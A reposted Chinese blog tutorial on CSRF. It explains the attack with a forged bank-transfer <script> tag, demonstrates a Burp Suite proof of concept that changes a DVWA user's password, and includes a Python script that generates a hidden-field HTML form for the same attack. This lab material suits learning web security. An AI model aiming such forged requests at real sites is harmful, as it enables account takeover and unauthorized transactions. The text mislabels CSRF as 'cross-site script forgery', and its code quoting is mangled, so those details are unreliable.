浅谈CSRF漏洞

Posted 东京$

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了浅谈CSRF漏洞相关的知识,希望对你有一定的参考价值。

前言:
看完小迪老师的CSRF漏洞讲解。感觉不行
就自己百度学习。这是总结出来的。
 
歌曲:
 
正文:
CSRF与xss和像,但是两个是完全不一样的东西。
xss攻击(跨站脚本攻击)储存型的XSS由攻击者和受害者一同完成。xss详细介绍:点我跳转
 
CSRF(跨站脚本伪造)完全由受害者完成。攻击者不参与其中。CSRF详细介绍:点我跳转
 
CSRF原理:
 
银行转账的数据包:http://jianse.com/zhuanzhang.php?name=lu&email=xxx@qq.com&monet=1000
攻击者的博客:http://www.hack.com/index,php
把这个加入到js里面。<script src="http://jianse.com/zhuanzhang.php?name=lu&email=xxx@qq.com&monet=1000"></script>将这条代码计入到攻击者的博客。如果受害者登录了银行。而Session又没有过期,后而访问了攻击者的博客。当攻击者的博客加载好了js代码。受害者就会打了1000元给攻击者。
 

 

实验:
这里我使用DVWA来做使CSRF漏洞实现。攻击步骤如下:
首先登录DVWA,来到CSRF这里。 注:这里我的防御等级为low

 

启动Burpsuite,设置代理。

 

回到刚刚的页面,输入要更改的密码。burp开启抓包
 

 

抓到的包

 

构造CSRF POC

 

更改所需要的

 

点击Regenerate按钮更新POC,点击Test in browser复制链接

 

点击Copy按钮。复制到浏览器上使用

 

点击按钮实行csrf攻击。

 

从图中我们可以看到密码已经更改,退回登录界面。

 

点击登录

 

从图中我们可以看到,CSRF攻击已经成功实施。
既然如此我们为什么不写一个CSRF脚本呢?
代码如下:
import time
import simplejson as json
def poc():
    url="http://a2fae7a7.ngrok.io/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change"
    headers={\'User-Agent\': \'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/65.0.3325.181 Safari/537.36\'}
    values=url.split(\'?\')[-1]
    urltwo=url.split(\'?\')[:-1]
    urltwos="".join(urltwo)
    dumps={}
    for line in values.split(\'&\'):
        key,value=line.split(\'=\',1)
        dumps[key]=value
        discts=[i for i in dumps.keys()]
    print(\'原url:\',url)
    print(\'url原带的参数:\',dumps)
    dumps[\'password_new\'] = \'password\'
    dumps[\'password_conf\'] = \'password\'
    valueswto=[g for g in  dumps.values()]
    print(\'url更该后的参数\',dumps)
    print(\'1.burpsuite的POC\')


    user=input(\'请进行你的选择:\')
    if user == \'1\':
        print(\'burpsiuite的POC\')
        burp=open(\'burp.html\',\'w\')
        burp.write(\'<html>\\n\')
        burp.write(\'<body>\\n\')
        burp.write(\'<script>history.pushState("\'\'","\'\'",\'"\'/\'"\')</script>\\n\')
        burp.write(\'<form action="{}">\\n\'.format(urltwos))
        burp.write(\'<input type="hidden" name="{}" value="{}"/>\\n\'.format(discts[0],valueswto[0]))
        burp.write(\'<input type="hidden" name="{}" value="{}"/>\\n\'.format(discts[1],valueswto[1]))
        burp.write(\'<input type="hidden" name="{}" value="{}"/>\\n\'.format(discts[2],valueswto[2]))
        burp.write(\'<input type="submit" value="Submit CSRF POC"/>\\n\')
        burp.write(\'</form>\\n\')
        burp.write(\'</body>\\n\')
        burp.write(\'</html>\\n\')
        burp.close()
    else:
        print(\'【-】抱歉你没有进行选择,退出ing...\')
        time.sleep(1)
        exit()



poc()

  测试结果如下:

生成的html

打开burp.html

 

 点击按钮

密码更改成功。

有关CSRF的资料:《CSRF原理》

《深入CSRF解析》

《从0开始学CSRF》

 

以上是关于浅谈CSRF漏洞的主要内容,如果未能解决你的问题,请参考以下文章

浅谈CSRF漏洞

视频| 浅谈CSRF漏洞

浅谈CSRF的另类绕过之Content-Type校验绕过

浅谈跨域劫持

44. CSRF 攻击与防御

[代码审计] LvyeCms CSRF漏洞分析